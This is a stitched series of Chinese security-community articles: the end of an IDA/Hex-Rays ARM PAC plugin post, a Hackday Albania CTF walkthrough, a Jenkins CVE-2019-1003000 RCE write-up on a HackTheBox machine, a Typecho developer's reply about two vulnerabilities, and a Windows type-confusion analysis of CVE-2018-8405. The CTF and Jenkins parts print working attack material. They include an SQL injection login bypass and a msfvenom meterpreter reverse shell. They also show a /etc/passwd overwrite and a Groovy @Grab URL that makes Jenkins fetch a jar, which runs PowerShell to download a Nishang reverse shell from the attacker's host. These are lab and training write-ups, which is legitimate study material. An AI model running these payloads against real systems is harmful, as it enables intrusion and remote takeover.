指令(如PACIA)没有任何非PAC等价的指令。xerub将这些指令转换为HINT（它们位于不支持PAC的ARMv8处理器上）。问题是Hex-Rays
Decompiler不知道如何将HINT指令转换为微码并放置 ___asm {...}_ 块。当Hex-Rays Decompiler放置 ___asm_
块时，会通过尝试检测 ___asm_ 块使用和修改的内容来粘合C代码。 Hex-Rays
Decompiler接下来创建具有类似寄存器名称的新变量，使代码易于理解：
// the code we would like to have
void sub_XXX()
{
__asm { PACIBSP }
_X8 = qword_XXXX;
_X9 = 0x1234;
__asm
{
AUTIZA X8
PACIA X8, X9
}
qword_YYY = _X8;
return 1;
}
要知道读取哪些寄存器，Hex-Rays使用指令特征（ _feature_
）位，这些位是根据每个指令的定义来定义的，特定于processor_t对象，不能通过插件编辑（请参阅[ _instruc_t_
,](https://www.hex-rays.com/products/ida/support/sdkdoc/structinstruc__t.html)
[_feature bits_](https://www.hex-rays.com/products/ida/support/sdkdoc/group___c_f__.html) 和[
_processor_t_](https://www.hex-rays.com/products/ida/support/sdkdoc/structprocessor__t.html##a6fb7cfbf39771b646cfc5e5d43259175)文档。
除此之外，这些位定义了指令使用或更改的操作数。你可以通过指定一个大于或等于 _CUSTOM_CMD_ITYPE_ 的 _insn_ _itype_
将用户定义的指令添加到处理器中，但是该指令的特征位应该设置为0(参见 _has_insn_feature_ code)。问题是 _HINT_ 特征位只有
_CF_USE1_ 位。
这就意味着Hex-Rays Decompiler将认为PAC*指令仅使用它们的第一个操作数，并将根据此优化代码，删除重要的语句并做出错误的假设：
// the code we get
void sub_XXX()
{
__asm { PACIBSP }
_X8 = qword_XXXX;
__asm
{
AUTIZA X8
PACIA X8, X9
}
qword_YYY = qword_XXXX;
return 1;
}
解决方案可能是修改这个ARM处理器插件来修改HINT特征位，但这样做不够优雅。另一个更优雅的解决方案是开发一个Hex-Rays
Decompiler插件来添加PAC内联函数，就像[Dougall
J为VMX做的](https://dougallj.wordpress.com/2018/06/04/writing-a-hex-rays-plugin-vmx-intrinsics/)那样，但微码API没有暴露给IDAPython（但是？）并且我们不想强迫人们编译我们的工具。
相反的，我们决定使用IDA的ARM64 _processor_t_ 中已经存在的指令，这些指令具有以下属性：
* 有两个操作数
* 两者都使用
* 只改变第一个
* 不能被Hex-Rays Decompiler反编译
一条简短的Python代码给我们提供了满足三个条件的指令：
print "\n".join(n for n,v in idaapi.ph_get_instruc() if v == idaapi.CF_CHG1 | idaapi.CF_USE1 | idaapi.CF_USE2)
问题是没有指令匹配...，不过不奇怪，因为大多数ARM指令使用三个操作数，第一个是目标地址，另外两个是来源。我们决定搜索所有符合以下行为的指令：
print "\n".join(n for n,v in idaapi.ph_get_instruc() if v == idaapi.CF_CHG1 | idaapi.CF_USE2 | idaapi.CF_USE3)
令人吃惊的是， _HLT_
指令匹配（以及ERET，HVC等）。这个指令甚至没有三个操作数，只有一个直接的，没有任何修改操作（很明显），但是被使用。这可能是一个复制/粘贴错误，或者这个错误没有意义，只是开发人员很懒。
_HLT_ 不会被Hex-Rays
Decompiler反编译，所以是一个完美的候选者！我们只需要为我们的指令添加一个隐藏的第三个操作数，让它等于第一个，就可以实现我们的目标。
我们写了一个IDAPython脚本，放在了[Github](https://github.com/Synacktiv/kernelcache-laundering/blob/master/aarch64_pac.py)。令人惊讶的是，尽管用Python编写代码，但这个插件并没有明显地减慢分析速度。
作为奖励，我们还添加了一个 _ev_emu_insn_
回调来强制IDA将BRK视为中断指令（如果您想了解更多相关信息，可以阅读[这篇文章](https://idasuckless.github.io/the-brk-is-a-lie.html)）。
下面是`kernelcache`重定位功能的截图，带有PAC指令，由于我们的插件，Hex-Rays
Decompiler可以正确反编译：
### Kernelcache
由于开启了ASLR，需要重新定位kernelcache中的指针，并且由于PAC，有一些需要进行身份验证。为了做到这一点，iOS12
kernelcache使用了一种新的重新定位机制，非常类似于[userland
_dyld_shared_cache_](https://opensource.apple.com/source/dyld/dyld-519.2.2/launch-cache/dyld_cache_format.h)机制。Brandon
Azad已经有了[这种直觉](https://bazad.github.io/2018/06/ios-12-kernelcache-tagged-pointers/)，并编写了一些东西来清理[
_Kernelcache_](https://github.com/bazad/ida_kernelcache/blob/master/ida_kernelcache/tagged_pointers.py)，但是他的代码是不完整的，很多指针都没有被正确的清理。此外，通过清理指针，就会失去重定位和PAC的信息，因为它们被存储在指针未使用的高比特中。
通过在 _kernelcache_ 中搜索PACIA指令，您可以快速找到 _kernelcache_ 和 _dyld_shared_cache_
重定位处理代码。我们在IDAPython插件中逆向并重新实现了 _kernelcache_
的这个代码，我们还为每个指针添加一个自动注释的功能，以告知它是否以及如何签名，并将其转换为偏移量。当在IDA中加载iOS 12 _kernelcache_
时，这是直观且自动完成的。
同样，代码可以在[Github](https://github.com/Synacktiv/kernelcache-laundering/blob/master/ios12_kernel_cache_helper.py)存储库中找到。这个机制并不是很有趣，而且代码是不需加以说明的，所以我们不会通过详细介绍它们来打扰我们的读者。
_dyld_shared_cache_ 代码留给读者练习，但它与 _kernelcache_ 非常相似，很容易实现。
下面是一个带有受保护指针的虚函数表的截图，这些指针由插件自动解码和注释：
### 结尾
引用了[Rolf
Rolles](https://twitter.com/RolfRolles/status/1045064757059891200)的一句话，我们的这篇博客文章很好地说明了这一点：
> I think Hex-Rays doesn't get enough credit. Their products may be
> proprietary, expensive, and idiosyncratic, but they're robust, powerful,
> work well by default, and are endlessly configurable/customizable. At
> the end of the day, I've got stuff to do and my tools need to work now.
>
> (我认为Hex-> Rays没有得到足够的信任。他们的产品可能是专有的，昂贵的，并且也是特殊的，但是很健全，功能强大，默认情况下运行稳定，并且可以无限配置/可定制。在一天结束后，最后，我有事情要做，我的工具现在需要工作。） | 社区文章 |
# 【CTF攻略】黑进Hackday Albania VM (CTF 挑战)
|
##### 译文声明
本文是翻译文章，文章来源：hackingarticles.in
原文地址：<http://www.hackingarticles.in/hack-hackday-albania-vm-ctf-challenge/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[派大星](http://bobao.360.cn/member/contribute?uid=1009682630)
预估稿费：100RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
这个攻击环境被用于HackDay Albania’s 2016 CTF，它使用了DHCP。
NOTE：VMware用户使用时可能在网络接口方面遇到问题，所以我们建议你使用VirtualBox。
在这里下载攻击环境：
[https://www.vulnhub.com/entry/hackday-albania,167/](https://www.vulnhub.com/entry/hackday-albania,167/)
现在让我们开始吧。首先，让我们像往常一样执行网络发现。
Netdiscover
然后我们执行Nmap
nmap -p- A 192.168.0.103
Nmap结果显示目标在8008端口上运行http程序。所以我们打开浏览器，输入网址：
<http://192.168.0.103:8008>
弹框中的信息翻译后是：“if I am, I know where to go :)”。
我们尝试在源代码中发现一些信息，我们在底部发现了一个注释：“Ok ok, but not here :)”。
下一步我们使用Nikto侦察我们的目标
nikto -h 192.168.0.103:8008
我们发现了robots.txt文件，在浏览器中打开它。
[http://192.168.0.103:8008/robots.txt](http://192.168.0.103:8008/robots.txt)
除了一个目录，其他所有结果都一样。
最值得浏览的目录是
[http://192.168.0.103:8008/unisxcudkqjydw/](http://192.168.0.103:8008/unisxcudkqjydw/)
所以，我们发现了另一个有用的目录，让我们打开它。
[http://192.168.0.103:8008/unisxcudkqjydw/vulnbank/](http://192.168.0.103:8008/unisxcudkqjydw/vulnbank/)
点击client目录，它会跳转到一个安全银行的登录界面。
在用户名框中输入单引号，我们得到了一个错误页面。
尝试了多次后，我们最终以第一个用户的身份登录了系统。
‘ or ‘a’ = ‘a’ —
#
在欢迎页面，我们发现了一个文件上传的选项。让我们使用msfvenom创建一个php payload然后尝试上传它。
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.106 lport=4444 -f raw
我们把它保存为ra.php然后尝试上传它，然而却得到了一个错误-“After we got hackedwe are allowing only image
filesto upload such as jpg,jpeg, bmp etc…”，我们把它重命名为ra.jpg然后成功上传。
在msfconsole中打开一个msf handler.
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.106
set lport 4444
exploit
现在我们在浏览器上点击ra.jpg下的view ticket选项。
然后我们就有了一个meterpreter session。为了得到一个合适的shell，进入/tmp目录，找到操作系统版本号，我们执行了以下命令：
shell
python3 -c ‘import pty; pty.spawn(“/bin/bash”);’
cd /tmp
lsb_release -a
由于目标机器并未安装gcc，所以内核exploit看起来并未奏效。所以我们决定换个方式。我们在github下载了一个名为LinEnum.sh的脚本。
git clone
[https://github.com/rebootuser/LinEnum.git](https://github.com/rebootuser/LinEnum.git)
然后我们在自己的机器上打开了apache服务器
service apache2 start
然后我们将LinEnum.sh复制到自己机器的var/www/html目录，然后在目标机器的shell中执行命令将LinEnum.sh上传到tmp目录。
wget [http://192.168.1.106/LinEnum.sh](http://192.168.1.106/LinEnum.sh)
然后修改LinEnum.sh的权限，而后执行它。
chmod 777 LinEnum.sh
./LinEnum.sh
我们发现etc/passwd文件可写。
目标机器上使用的加密算法是SHA512
我们在终端中打开受害机器的password文件。
cat /etc/passwd
我们将它复制到leafpad编辑器中。
在另一个终端中，我们生成一个用SHA512加密的密码“raj”。
python -c ‘import crypt; print crypt.crypt(“raj”, “$6$saltsalt$”)’
现在我们用生成的密码hash代替我们刚刚保存的密码文件中最后一个用户的密码位。
然后我们将它命名为passwd并保存到我们机器的var/www/html目录中，将其上传到受害机器的tmp目录中。
wget [http://192.168.0.106/passwd](http://192.168.0.106/passwd)
现在我们用它来替换掉/etc/passwd。
cp passwd /etc/passwd
然后我们尝试用taviso账户登陆。
su taviso
raj
然后我们试一下是否有sudo权限
sudo -i
Raj
成功了。现在我们查看一下目录的内容。
Ls
这里有我们的flag.读取它，
cat flag.txt
Urime,
Tani nis raportin!
翻译过来就是：
Congratulations,
Now begins the report! | 社区文章 |
# 前言
Orange Tsai发表了一篇关于`CVE-2019-1003000`的write
up,wp的关注点在于Jenkins中的RCE。最近我发现了`HackTheBox.eu`中部署了Jenkins的测试平台，虽然相关配置不是那么完美，但我决定用它练练手，看看有没有新发现。
为了方便在Windows环境中运行，我将使用一个新的payload来对漏洞进行测试。
# 概述
## 漏洞利用背景
Jenkins有一个用Groovy实现的Pipeline特性。漏洞作者发现，用户发出一个未经验证的GET请求可作为Groovy元编程输入。在此输入中，攻击者可以使用`@Grab`注释来调用`Grape`(Groovy的内置JAR依赖管理工具)，下载并运行一个JAR文件。[wp](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html "wp")中有关于此漏洞的更多细节。
## 目标主机：Jeeves
我将在`HackTheBox.eu`的Jeeves中展开相关测试。Jenkins的web端口：50000
http://10.10.10.63:50000/askjeeves
Jeeves主机已关闭Jenkins的身份验证。实际上，只需[访问脚本控制台并在那里运行Groovy脚本](https://youtu.be/EKGBskG8APc?t=542
"访问脚本控制台并在那里运行Groovy脚本")，就可以轻松地解决这个问题。
不过，我将看看是否可以使用提供的路径执行，即使没有身份验证，我也可以访问。
我还必须更新Windows目标的payload。
# Exploiting
## 调用Grape
如果攻击的目的是创建一个GET请求，让Jenkins连接回我的机器并请求JAR文件，那调用Grape是一个非常妙的操作。
在[POC视频](https://www.youtube.com/watch?time_continue=7&v=abuH-j-6-s0
"POC视频")中，我们可以看到在没有身份验证的情况下访问`/securityRealm/user/admin`并返回一个管理员页面。我可以通过访问：
http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/
现在，我将使用`Groovy`访问工作流插件的`checkScriptCompile
API`端点，`Groovy`应该使用`@Grab`元注释向我请求jar。利用`python3 -m http.server 80`访问：
http://10.10.10.63:50000/askjeeves/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27orange.tw%27,%20root=%27http://10.10.14.21/%27)%0A@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%271%27)%0Aimport%20Orange;
在这个url中，我提供了一个`value`参数，它是要运行的Groovy脚本。它使用%0A作为换行符。未编码之前的脚本：
@GrabConfig(disableChecksums=true)
@GrabResolver(name='orange.tw', root='http://10.10.14.21/')
@Grab(group='tw.orange', module='poc', version='1')
import Orange;
它定义了`orange.tw`包的参数，包括从哪里获取它，然后调用`@Grab`来获取它。
在访问url时，Web服务器上的活动：
root@kali# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.63 - - [27/Feb/2019 11:07:18] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:18] "HEAD /tw/orange/poc/1/poc-1.pom HTTP/1.1" 404 - 10.10.10.63 - - [27/Feb/2019 11:07:19] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:07:19] "HEAD /tw/orange/poc/1/poc-1.jar HTTP/1.1" 404 -
很酷！它试图下载一个pom文件，但失败了，随着就将目标转换为`poc-1.jar`。这就匹配了url中的`module`和`version`。我可以在url中将module改为“0xdf”，将version改为“223”，看看有什么反应：
10.10.10.63 - - [27/Feb/2019 11:34:35] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:35] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 - 10.10.10.63 - - [27/Feb/2019 11:34:36] code 404, message File not found
10.10.10.63 - - [27/Feb/2019 11:34:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 404 -
Web浏览器显示了一条很大的错误消息，表示无法解析依赖项：
## 构建Jar payload
博客提供了一个payload：
public class Orange {
public Orange(){
try {
String payload = "curl orange.tw/bc.pl | perl -";
String[] cmds = {"/bin/bash", "-c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
这将执行`/bin/bash -c curl orange.tw/bc.pl | perl -.`我可以假设`bc.pl`是一个反向shell。
对于Windows目标，必须对此进行修改。我将运行PowerShell来获取和调用`Nishang shell`：
public class Orange {
public Orange(){
try {
String payload = "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.21/shell.ps1')";
String[] cmds = {"cmd", "/c", payload};
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) { }
}
}
现在我要将它放进jar中，编译java:
root@kali# javac Orange.java
创建适当的元数据：
root@kali# mkdir -p META-INF/services/
root@kali# echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
root@kali# find
.
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners
将其打包到jar中：
root@kali# jar cvf 0xdf-223.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
## 阶段性的Payloads
接下来，我将把jar移动到GET请求的路径中：
root@kali# mkdir -p tw/orange/0xdf/223/
root@kali# mv 0xdf-223.jar tw/orange/0xdf/223/
我还备份了`Invoke-PowerShellTcp.ps1`并且命名为`shell.ps1`，以匹配jar中的内容：
root@kali# cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
然后，我将抓取示例行并将其粘贴到文件末尾，其中包含我的IP/端口信息：
root@kali# tail -1 shell.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.21 -Port 443
现在PowerShell将请求此文件，并执行该文件，将所有函数加载到PowerShell会话中，然后调用创建shell连接的会话。
## Exploit
我将打开端口443上的`nc`监听器。。现在我只需要再次访问url。刷新时，我首先看到Web服务器中的活动，6秒后请求jar文件，然后是请求`shell.ps1`：
10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.pom HTTP/1.1" 404 - 10.10.10.63 - - [27/Feb/2019 12:15:36] "HEAD /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 - 10.10.10.63 - - [27/Feb/2019 12:15:37] "GET /tw/orange/0xdf/223/0xdf-223.jar HTTP/1.1" 200 - 10.10.10.63 - - [27/Feb/2019 12:15:43] "GET /shell.ps1 HTTP/1.1" 200 -
不久后，得到shell
root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.63.
Ncat: Connection from 10.10.10.63:49680.
Windows PowerShell running as user kohsuke on JEEVES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\.jenkins>whoami
jeeves\kohsuke
# 故障分析
## java 版本
我第一次尝试时，Jenkins下载了我的jar文件，我在Web浏览器中收到以下错误消息：
> java.lang.UnsupportedClassVersionError：Orange是由Java运行时的最新版本(class
> file版本55.0)编译的，该版本的Java运行时只识别52.0之前的class file版本
根据[Wikipedia](https://en.wikipedia.org/wiki/Java_class_file#General_layout
"Wikipedia")，版本51是Java SE 11，版本52是Java SE 8。
我在我的电脑上安装了Java 8
root@kali# apt install openjdk-8-jdk
然后，我使用了`update-alternatives`来选择正确的版本：
root@kali# update-alternatives --config javac
There are 4 choices for the alternative javac (providing /usr/bin/javac).
Selection Path Priority Status
------------------------------------------------------------ 0 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 auto mode
* 1 /opt/jdk-11.0.2/bin/javac 1 manual mode
2 /usr/lib/jvm/java-10-openjdk-amd64/bin/javac 1101 manual mode
3 /usr/lib/jvm/java-11-openjdk-amd64/bin/javac 1111 manual mode
4 /usr/lib/jvm/java-8-openjdk-amd64/bin/javac 1081 manual mode
Press <enter> to keep the current choice[*], or type selection number: 4
update-alternatives: using /usr/lib/jvm/java-8-openjdk-amd64/bin/javac to provide /usr/bin/javac (javac) in manual mode
然后就可以了！
## 更新Jar
如果我在jar文件中弄错了什么东西，我不能只在本地更新它并刷新它。Grape认为正确的模块已经存在，不会去重新获取它。当然，我可以重置主机，重新开始。但是我也可以用下一个版本号重新构建它。
例如，如果我上传的java版本与box不兼容，我可以在本地重新编译它，重新构建jar，以及使用version
224而不是223进行其他操作。除此之外还需要一个新的jar目录和文件名：
root@kali# javac Orange.java
root@kali# jar cvf 0xdf-224.jar Orange.class META-INF
added manifest
adding: Orange.class(in = 579) (out= 416)(deflated 28%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/org.codehaus.groovy.plugins.Runners(in = 7) (out= 9)(deflated -28%)
root@kali# mkdir tw/orange/0xdf/224
root@kali# cp 0xdf-224.jar tw/orange/0xdf/224/
现在我更新了url中的版本并刷新，得到了一个shell。
原文链接：https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html | 社区文章 |
作者：[joyqi](https://joyqi.com/typecho/about-typecho-20171027.html "joyqi")
>
> 已经跟报告漏洞的相关方讨论过这个事情，大家的初心还都是技术层面的交流，之前在流程上由于沟通不畅造成了一些误解，现在误解已经消除，大家也不要恶意去揣测他人的意图，让我们把焦点放在技术本身。我们也一致表达了在安全层面加强合作的意向。
作为开发者其实不太想写这种针对性的回复文章。一般针对安全问题，如果有人报告我都是在第一时间提交修复。但这两天很多关心 Typecho
的朋友通过各种渠道向我询问最新爆出来的两个严重的安全漏洞，我看了网络上的分析文章，前面技术性的分析我在后面做回复。但是文中某些技术细节之外的无端猜测，是促使我写这篇文章的理由。
原文链接： <https://mp.weixin.qq.com/s/IE9g6OqfzAZVjtag-M_W6Q>
#### 修复方法
这一点是你务必知道的，为了你的站点安全， **你可以先暂时删除掉根目录下掉 install.php 文件** ，或者你也可以直接[升级到最新的 Beta
版](https://github.com/typecho/typecho/releases/tag/v1.1-17.10.24-beta "升级到最新的
Beta 版")。
**注意在升级的时候也要覆盖`install.php` 文件。**
#### 关于 XMLRPC 漏洞
第一个漏洞是 `XMLRPC` 里的 `Pingback` 协议，很多人可能不知道 `Pingback` 协议是干嘛的。我在这里简单解释下，这个协议诞生在
`Web 2.0`
概念诞生之初，由于在互联网世界各个博客站点之间是独立的存在，而它们之间又经常存在互相引用的情况。作为一个原创博主，我是无法知道我这篇文章被哪些站点引用过的，因此
`Pingback` 协议就是为了解决这个问题存在的。
当你在写的文章发表后，如果文中引用了某个链接，系统会自动向那个链接发一个 `PING`，告诉对方我引用了这篇文章，地址是: xxx。对方收到这个
`PING` 以后会根据你给的原文地址回去检验一下是否存在这个引用，这就是一次 `BACK`。检验完以后，会把这次引用记录下来，大家经常在 Typecho
或者 WordPress 之类博客评论列表里看到的引用记录，就是这么来的。
而造成这个漏洞的关键就在于这个 `BACK` 过程。系统回访的时候会调用网络接口（在 Typecho 里还对 CURL 做了基于 Socks 的
fallback），而当时的代码没有对回访的 URL 做验证，结果本意是让这个网络接口去访问 `http` 或者 `https`
的地址，但由于没做验证，导致它可以被用来访问任何协议，这就为攻击者创造了便利条件。
这个漏洞已经在上个月得到了修复，我们对访问的协议和地址都做了双重验证，只限于访问 `http` 或者 `https`
协议，并且限制了它的访问范围，不能用于访问内网或者本机的地址，而且还针对今后可能普及的 `IPV6` 做了预防。
#### 关于 install.php 漏洞
这个漏洞本质其实比上一个漏洞更简单，原文的分析有点绕，其实只看最开始的部分就可以了，一句话解释就是 `install.php`
本身对安装状态验证存在漏洞，导致了可以绕过它向系统写入一些非法代码。
下面解释三个大家最关心的问题
#### 为什么要用 Cookie 传递配置信息?
首先安装的过程会分很多步骤，而且每一步都要验证后再跳转到下一步。具体到填写配置信息的这一步，我们在你填写完以后会验证你的配置信息是否合法，比如数据库连接是否正确等等，这些信息是通过
`HTTP POST` 传递到 PHP 的。当这一步做完验证后，并写入相应信息后（也有可能不写入，比如 GAE 之类的容器环境，根本没有可写的环境），再
`Location` 跳转到下一步，也就是去写入初始数据。
熟悉一点编程的朋友，请回答我一个问题。如何在两个 `GET` 请求间传递配置数据？用 `querystring`？太丑陋了吧。用
`session`？对不起，很多主机都没有配好
`session`。用临时文件？不好意思，就像上面说的，很多运行环境根本没有可写的权限。用数据库？不行，数据表是在下一步的时候才建的。
所以我最后就用了 `Cookie` 来传递数据，这样你的安装过程会显得比较干净。
我个人认为，原文作者认为这可能是个后门之类的原因就在于，我对 `Cookie` 做了个 `base64`
的编码，这是黑客最爱的做事风格，把不可告人的代码隐藏在无意义的 `base64` 编码下面。
但是，我用 `base64` 只是为了避免可能存在的 `Cookie` 编码问题，这样一种很正常的思路，给它预设不好的前提后，往往会得出令人不快的结论。
#### 为什么要在最后一步取出 Cookie?
原文作者指出他不明白为什么这里要有这段代码
<https://github.com/typecho/typecho/blob/242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5/install.php#L230>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
如果你不联系上下文，当然不知道为什么要有这段代码。
首先解释为什么要在这一步连接数据库，因为这段代码看起来就是这个作用。初一看这一步好像跟数据库没什么关系，该写入的数据上一步已经写完了，这一步就是告诉用户安装成功
但是我们的目光再往下移
<https://github.com/typecho/typecho/blob/242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5/install.php#L258>
<?php
if (isset($_REQUEST['user']) && isset($_REQUEST['password'])) {
$loginUrl = _u() . '/index.php/action/login?name=' . urlencode(_r('user')) . '&password='
. urlencode(_r('password')) . '&referer=' . _u() . '/admin/index.php';
$loginUrl = Typecho_Widget::widget('Widget_Security')->getTokenUrl($loginUrl);
} else {
$loginUrl = _u() . '/admin/index.php';
}
?>
这是一段生成快速登录链接的代码，方便你在安装完成不需要输入密码直接进入后台，请关注
`Typecho_Widget::widget('Widget_Security')->getTokenUrl($loginUrl)` 这一段代码。
在 Typecho 0.9 里面，我们加入了防跨站模块，而它的核心就是在每次提交的时候加入一个 Token 供系统验证。而这个 Token 的生成是需要加盐
`salt` 的，而每个站点的 `salt` 都是在安装的时候写入到数据库中的随机字符串。
**所以看到了么？生成一个合法的后台 URL 是需要数据库连接的。**
然后再解释为什么要从 Cookie 里取数据，我们不是已经创建了 `config.inc.php` 文件了么？但是由于 `config.inc.php`
里定义的常量以及一些初始化动作，会与 `install.php` 头部的代码有所冲突。所以，我们无法在 `install.php` 去直接
`require` 它（这一点已经在新版里解决，我在这里只是解释当时那么做的理由）。因此，我们又要初始化数据库，就只能从 `Cookie`
里读取信息并解码了。
#### 为什么不删除 install.php?
首先，删除 `install.php` 意味着需要给根目录赋予额外的写入权限，这本身就会造成安全问题。其次，很多容器环境，比如 `GAE` `SAE`
`BAE`
之类的，代码是基于版本控制管理的，根本不可能让你去更改文件。那安装完成后提醒用户修改删除可以吗？首先，这么做没有技术问题，但我认为安装完以后再去删除，是一件很麻烦的事情，在保证没有漏洞的前提下，应该做到安装后即可使用，当然用户也可以自行去删除
install.php。
#### 写在最后
首先，我欢迎任何以技术为目的质疑和交流，Typecho
这个项目也是依靠大家的力量一点点完善起来的。其次，我希望仅仅将这种质疑局限在技术本身，毕竟取一个吸引眼球的标题，最后再加一些揣测，又有多少人会真的去细思呢？大多数人都是会被带着节奏，而接受预设立场，这一点不利于问题的解决。
所以你们看，即使我认真写了这么多，仔细去看去分析的人估计也不会有多少。
Typecho 的社区个性一直是低调踏实，我们会认真对待每一项改进的提议。我想向那些因为此次软件漏洞可能造成损失的用户，表达歉意。
新的正式版，会在本周放出。
* * * | 社区文章 |
## 简介
这几天在twitter上无意间发现了一个讲类型混淆的paper，遂决定分析一下Windows内核中类型混淆的漏洞模式，本文也是基于两篇paper进行分析学习，首先介绍C++中类型混淆的原理，然后介绍一个
**Direct X** 模块的漏洞
。读完本文你会发现实际上后面这个内核洞和前面介绍的C++类型混淆关系不大，是的，我也这么觉得。这么做的原因是前面这部分适合拿来学习原理，原理介绍清楚了之后，后面就靠积累和发散了，实际上你会发现还是有很多相似点的，参考文章链接在文末
## C++强制类型转换
C++强制类型转换有很多种，这里简单介绍一下`static_cast`和`dynamic_cast`，在C语言中强制类型转换模型如下
// C
double scores = 95.5;
int n = (int)scores;
C++中强制类型转换使用方法如下，单从文字上看，`static_cast`和`dynamic_cast`区别主要是动态和静态，这使我联想到了动态链接和静态链接，虽然没什么关系
class B
{
public:
int m_iNum;
virtual void foo();
};
class D:public B
{
public:
char* m_szName[100];
};
void func(B* pb)
{
D* pd1 = static_cast<D*>(pb);
D* pd2 = dynamic_cast<D*>(pb);
}
从汇编层面看的话，Debug版本静态转换并没有做过多的事情，只是单纯的保存了一下指针，只在编译时检查数据类型，没有在运行时进行检查，不过优点就是速度快，效率高
然而动态转换会运行时对指针进行检查，检查是否为空，检查类型是否正确等，但这也降低了效率，而且仅限于多态类，类似于`CFG`之类的防护机制
## C++类型混淆
以静态转换为例，下图中子类可以转换为父类的指针，但是父类不能转换为子类的指针，这样做会导致很多安全问题，下面有描述。
其危害如下图所示，当强制转换父类为子类时，调用子类的虚函数或者设置子类的一些新添加的字段就会产生访问错误，这也就是类型混淆的基本原理，然而在实际场景中这种低级错误肯定是很难遇到的，所以就需要发散一些新的思路。
关于利用理解起来也比较容易，两个不同类型的指针指向同一块内存，字段类型的不同会导致一些利用的机会，如下例所示
一个很简单的demo可以把上述过程描述的很明白，其结构如下图所示
在Linux下编译这部分代码可以弹出一个计算器，可以自己调试一下看看
// g++ test.cc -o test
// test.cc
#include <iostream>
#include <cstdlib>
using namespace std;
class Base { };
class Exec : public Base {
public:
virtual void hack(const char* str) {
system(str);
}
};
class Greeter : public Base {
public:
virtual void sayHi(const char* str) {
cout << str << endl;
}
};
int main(int argc, char* argv[])
{
Base* b1, * b2;
Greeter* g;
b1 = new Greeter();
b2 = new Exec();
cout << hex << b1 << endl;
cout << hex << b2 << endl;
g = static_cast<Greeter*>(b1);
g->sayHi("hello world");
g = static_cast<Greeter*>(b2);
g->sayHi("/usr/bin/xcalc");
delete b1;
delete b2;
return 0;
}
## CVE-2018-8405
上面的内容主要讲述的是对于C++类型转换可能存在的问题，然而我只关心在Windows内核中这种漏洞模式是否常见，在Windows内核中关于类型混淆的洞公开的资料比较少，在Adobe，浏览器中出现的比较多。
Windows内核主要还是C编写的，所以上面出现的问题实际上很难遇到，下面这个洞实际上和上面C++这个模型没啥关系，不过原理是类似的，拿来发散学习一下思路也是极好的，这个洞是在2018年被湛卢实验室的师傅们fuzz到的，这里不过多的讨论fuzz相关的内容，主要是理解一下这个洞的原理。这个漏洞的背景在湛卢的paper里面说的很清楚，我就不过多的赘述了，主要站在一个总结者的角度，看待这类漏洞，这个洞存在于
`dxgkrnl.sys` ，类型混淆首先需要确定类型是怎么产生的，所以首先需要看一下漏洞对象的创建过程。
创建对象逻辑如下，其中有一个 `isCrossAdapter` 跨设备标志，如果设置了此标志就会申请 `0xE8`
的内存，并且会设置一个0x20的标志用于后续的检查，如果没有设置跨设备则直接申请 `0xC0`
大小的内存。这个漏洞也就是可以手动构造0x20的标志，导致后续逻辑认为申请了 `0xE8` 大小的内存，然而实际只申请了`0xC0`
的内存，这也就存在了混淆
漏洞点 `DXGDEVICE::CreateAllocation`
函数部分逻辑如下所示，首先检查了0x20的标志，也就是上面创建`0xE8`大小对象中设置的标志，如果检查通过则进行下面的步骤，其中`v175~v177`均是用户可控的数据。也就是说，漏洞函数判断对象大小的依据是这个0x20的标志，然而触发者如果手动构造了这个标志，然后传入`0xC0`大小的对象，这样类型混淆就会导致越界写的问题，从而导致了漏洞
Patch是在 `DXGSHAREDRESOURCE::CreateSharedResource`
创建完对象之后添加检查，也就是在上层`DXGDEVICE::OpenResourceObject` 函数中对这个0x20标志的地方进行检查
